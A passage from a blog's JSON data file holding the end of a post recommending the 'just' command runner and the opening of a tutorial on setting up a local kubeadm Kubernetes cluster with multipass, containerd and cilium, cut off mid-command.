data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.22.17\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003einfo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Commands\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e available\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e binary\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e scripts:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e autoprefixer,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e browserslist,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e css-blank-pseudo,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e css-has-pseudo,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e css-prefers-color-scheme,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cssesc,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e esparse,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e esvalidate,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e extract-zip,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gh-pages,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gh-pages-clean,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e js-yaml,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e loose-envify,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nanoid,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e next,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e prettier,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolve,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rimraf,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e semver,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e svgo,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e uvu\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003einfo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Project\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e commands\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e build\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e next\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e build\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e deploy\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e gh-pages\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e dist\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -t\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e next\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e dist/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e predeploy\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e yarn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e build\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003etouch\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e dist/.nojekyll\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sontek.net\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e dist/CNAME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI would much rather have this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ just\nAvailable recipes:\n build # Build frontend assets\n deploy # Deploy assets to cloudfront\n export # Export to static assets (no SSR)\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/casey/just\"\u003eJust\u003c/a\u003e is a wonderful tool for building project specific CLIs without much effort. It is\na great replacement for \u003ccode\u003eMake\u003c/code\u003e if you are using it as a command runner and it has most of the features you would need.\u003c/p\u003e\n\u003cp\u003eI recommend adding a \u003ccode\u003ejustfile\u003c/code\u003e to your projects today! If you would like to see a real world example of how to use \u003ccode\u003ejust\u003c/code\u003e,\nyou can check out the one I use to maintain my \u003ca href=\"https://github.com/sontek/homies/blob/master/justfile\"\u003ehome directory\u003c/a\u003e!\u003c/p\u003e","category":"Development","date":"2022-02-26T00:00:00Z","tags":["Linux"],"title":"Automate project workflows with the command runner Just!"},{"id":["2022","local_kubeadm_cluster"],"path":"2022/local_kubeadm_cluster","contentHtml":"\u003cp\u003eI am going to show you how to get a real kubernetes cluster setup locally on top of virtual\nmachines! I will be using multipass but feel free to use virtualbox, proxmox, or whatever your\nfavorite cloud provider is.\u003c/p\u003e\n\u003cp\u003ekubeadm is a production ready kubernetes install tool and I prefer to use it over minikube, kind,\netc. because it gives you a more real world experience for \u003cem\u003emanaging\u003c/em\u003e the kubernetes cluster.\nThis is not important if you are a user of the cluster but if you have to run your own this is\na great way to gain some daily experience.\u003c/p\u003e\n\u003cp\u003eThe kubernetes documentation on kubeadm is great and you can find it \u003ca href=\"https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe differences between this blog and the kubernetes docs is that they leave a lot of decisions\nup to the reader such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003echoosing a container runtime\u003c/li\u003e\n\u003cli\u003eSelecting and installing a CNI (container network interface)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI am going to be opinionated and make specific technology decisions such as using containerd and\ncilium so that you do not have to think about those decisions.\u003c/p\u003e\n\u003ch2\u003eGetting your Virtual Machines setup!\u003c/h2\u003e\n\u003cp\u003eThe minimum requirements for a control plane node in kubernetes is 2gb of RAM and 2 CPUs. Since\nwe actually want to be able to schedule workloads on the workers afterwards we are going to setup\na cluster that looks like this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eControl Plane: 2gb RAM, 2 CPU\u003c/li\u003e\n\u003cli\u003eWorker: 4gb RAM, 2 CPU\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince we will be using multipass to launch the nodes, we can do that now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e launch\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e launch\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10G\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e worker\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eName\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e State\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IPv4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Image\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 192.168.64.7\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ubuntu\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LTS\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 192.168.64.8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ubuntu\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 22.04\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e LTS\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can start working on our controlplane first, let us shell in:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e shell\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us first add the kubernetes repo to the system so we have access to all the kubernetes tools:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb http://apt.kubernetes.io/ kubernetes-xenial main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e upgrade\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow that our system is setup, we can move on to getting a container runtime.\u003c/p\u003e\n\u003ch2\u003eGetting your Container Runtime!\u003c/h2\u003e\n\u003cp\u003eBefore we start pulling in kubernetes components we need to get a container runtime setup on the\nmachine. We are going to use containerd for this purpose. You can view the docs of for it\n\u003ca href=\"https://github.com/containerd/containerd/blob/main/docs/getting-started.md\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWhich will download the latest binary and set it up. I am going to walk you through how to do it\nusing the version packaged with Ubuntu which could be older than the latest release.\u003c/p\u003e\n\u003cp\u003eFirst thing we want to do is configure the networking to allow iptables to manage:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe also need to disable some default systemd settings for \u003ccode\u003erp_filter\u003c/code\u003e because\nthey are not compatible with cilium. See the bug report\n\u003ca href=\"https://github.com/cilium/cilium/commit/cabc6581b8128681f4ed23f8d6dc463180eea61e\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -ril\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /usr/lib/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e grep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e awk\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen we need to refresh sysctl so those settings are applied:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --system\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should see it applying all the changes:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e* Applying /etc/sysctl.d/k8s.conf ...\nnet.bridge.bridge-nf-call-ip6tables = 1\nnet.bridge.bridge-nf-call-iptables = 1\nnet.ipv4.ip_forward = 1\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIf you do not, the netfilter module may not have loaded properly:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e lsmod\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e br_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ebr_netfilter\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 28672\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ebridge\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 176128\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e br_netfilter\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou want to make sure \u003ccode\u003erp_filter\u003c/code\u003e is \u003ccode\u003e0\u003c/code\u003e everywhere as well for cilium:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ sudo sysctl -a | grep '\\.rp_filter'\nnet.ipv4.conf.all.rp_filter = 0\nnet.ipv4.conf.cilium_host.rp_filter = 0\nnet.ipv4.conf.cilium_net.rp_filter = 0\nnet.ipv4.conf.cilium_vxlan.rp_filter = 0\nnet.ipv4.conf.default.rp_filter = 0\nnet.ipv4.conf.enp0s1.rp_filter = 0\nnet.ipv4.conf.lo.rp_filter = 0\nnet.ipv4.conf.lxc0965b7b545f7.rp_filter = 0\nnet.ipv4.conf.lxcb05ffd84ab74.rp_filter = 0\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow let us pull down the container runtime we will be using which is containerd.\u003c/p\u003e\n\u003cp\u003eUbuntu ships with a very old version of containerd so you need to upgrade to\nthe version shipped from the docker repos:\nYou can find which versions are available by running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -cs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-cache\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e madison\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan 